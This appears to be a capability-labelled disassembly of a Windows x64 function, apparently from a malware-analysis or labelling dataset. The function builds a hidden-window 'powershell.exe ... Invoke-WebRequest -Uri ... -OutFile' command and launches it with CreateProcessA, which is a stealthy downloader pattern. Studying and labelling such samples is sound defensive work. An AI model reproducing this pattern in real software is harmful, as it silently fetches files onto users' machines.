Function at 0x401736
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x288
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x160], xmm6
movaps xmmword [rbp + 0x170], xmm7
movaps xmmword [rbp + 0x180], xmm8
movaps xmmword [rbp + 0x190], xmm9
movaps xmmword [rbp + 0x1a0], xmm10
movaps xmmword [rbp + 0x1b0], xmm11
movaps xmmword [rbp + 0x1c0], xmm12
movaps xmmword [rbp + 0x1d0], xmm13
movaps xmmword [rbp + 0x1e0], xmm14
movaps xmmword [rbp + 0x1f0], xmm15
mov qword [rbp + 0x250], rcx
mov qword [rbp + 0x258], rdx
lea rax, [sym.__gxx_personality_sj0]
mov qword [rbp + 0x10], rax
lea rax, [0x0067fe0c]
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x20]
lea rbx, [rbp + 0x160]
mov qword [rax], rbx
lea rdx, [0x00401a2d]
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rsp
lea rax, [rbp - 0x20]
mov rcx, rax
call dbg._Unwind_SjLj_Register
lea rax, [rbp + 0x140]
mov dword [rbp - 0x18], 0xffffffff
mov r8, qword [rbp + 0x250]
lea rdx, str.powershell.exe__NoLogo__NoProfile__WindowStyle_Hidden__Command__Invoke_WebRequest__Uri_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x120]
lea rdx, [rbp + 0x140]
mov dword [rbp - 0x18], 1
lea r8, str.__OutFile_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x100]
mov rcx, qword [rbp + 0x258]
lea rdx, [rbp + 0x120]
mov dword [rbp - 0x18], 2
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std::allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xe0]
lea rdx, [rbp + 0x100]
mov dword [rbp - 0x18], 3
lea r8, [0x0061d2de]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x140]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rdx, [rbp + 0x70]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x70], 0x68
mov dword [rbp + 0xac], 1
mov word [rbp + 0xb0], 0
lea rax, [rbp + 0x50]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp - 0x18], 4
call rax
test eax, eax
sete al
test al, al
je 0x4019a3
mov ecx, 0x10
call sym.__cxa_allocate_exception
mov dword [rbp - 0x18], 5
lea rdx, str.Failed_to_execute_PowerShell_command.
mov qword [rbp + 0x48], rax
mov rcx, rax
call method.std::runtime_error.runtime_error_char_const_
mov dword [rbp - 0x18], 4
mov r8, qword [method.std::runtime_error.runtime_error__]
lea rdx, [0x00641be0]
mov rcx, qword [rbp + 0x48]
call sym.__cxa_throw
mov rax, qword [rbp + 0x50]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rbp - 0x18], 4
call rax
mov rax, qword [rbp + 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x58]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x401ac3
lea rax, [rbp - 0x20]
mov rcx, rax
call sym._Unwind_SjLj_Unregister
nop
movaps xmm6, xmmword [rbp + 0x160]
movaps xmm7, xmmword [rbp + 0x170]
movaps xmm8, xmmword [rbp + 0x180]
movaps xmm9, xmmword [rbp + 0x190]
movaps xmm10, xmmword [rbp + 0x1a0]
movaps xmm11, xmmword [rbp + 0x1b0]
movaps xmm12, xmmword [rbp + 0x1c0]
movaps xmm13, xmmword [rbp + 0x1d0]
movaps xmm14, xmmword [rbp + 0x1e0]
movaps xmm15, xmmword [rbp + 0x1f0]
add rsp, 0x288
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret